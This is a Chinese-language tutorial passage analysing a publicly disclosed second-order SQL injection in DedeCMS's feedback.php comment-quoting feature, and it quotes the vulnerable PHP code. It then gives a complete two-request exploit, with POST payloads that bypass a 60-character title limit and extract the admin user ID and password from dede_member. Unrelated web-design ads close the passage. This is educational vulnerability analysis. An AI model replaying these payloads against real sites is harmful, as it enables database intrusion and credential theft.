顺便找一找还是能找到不少二次漏洞很经典的案例,这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析,该漏洞在2013年3月在乌云网被公布,漏洞编号WooYun-2013-18562,作者为safekey 团队的yy520,公布初期还有一个60个注入字符的限制,在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。在漏洞公布之后,官方立即采取措施进行了漏洞修复,但非专业安全的人修复漏洞都有一个通病,不会做漏洞联想,别人指出哪有漏洞就修哪,跟这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。
漏洞在/plus/feedback.php文件,代码如下:
//保存评论内容
if($comtype == 'comments')
{
$arctitle = addslashes($title); //保存评论的文章标题
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,
`arctitle`, `ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`
face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip',
'$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0',
'$f e e d b acktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:
$arctitle = addslashes($title);
获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,
`ip`, `ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
'$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg');
";$rs = $dsql->ExecuteNoneQuery($inquery);
$rs = $dsql->ExecuteNoneQuery($inquery);
将提交的$arctitle变量保存到数据库中,这个过程是没有问题的,我们接着看:
//引用回复
elseif ($comtype == 'reply')
{
}
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle']; //取出之前保存的文章标题
$aid =$row['aid'];
$msg = $quotemsg.$msg;//echo $msg."<br /><br />";
$msg = HtmlReplace($msg, 2);
//将$arctitle插入到数据库
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,
`ip`, `ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
'$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
这段代码的作用是引用之前的评论到新的评论中,其中:
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle']; //取出之前保存的文章标题
取出之前提交的文章标题,赋值给$arctitle变量,再往下:
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arc-
title`,`ip`, `ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck',
'$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
可以看到$arctitle变量被写入到数据库,看到这里还记不记得,这个$arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如图7-2所示。
用SQL来表示一下如下:
第一次插入的SQL为:
insert into xx(arctitle) values('11\'');
保存到数据库的标题内容为11',然后这个数据被select查询出来拼接到第二次插入的SQL上,SQL语句如下:
insert into xx(arctitle) values('11'');
可以看到引发了SQL注入。
在这个漏洞中,标题字段有60个字符的长度限制,不能一次性把完整的payload写入进去,所以我们需要两次提交payload,最终利用方式如下,第一次请求提交
/plus/feedback.php?aid=52
POST内容:
action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&t
itle=xx',(char(@`'`)),/*
我们打印SQL语句出来看看,如图7-3所示。
第二次请求:
/plus/feedback.php?aid=52
POST内容:
action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1,
2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_
member/**/limit/**/1))%23
打印SQL语句出来看看,如图7-4所示。
发送两次请求后访问:
/plus/feedback.php?aid=52
可以看到管理员密码已经被读取出来,如图7-5所示。
多年建站经验,上千个成功案例,
为您提供一站式服务
大厂经验工程师对现有网站进行
改版,修复,维护。
微信小程序,支付宝小程序,
百度小程序
响应式网页设计可以与多种设备兼容,
如智能手机,平板电脑和PC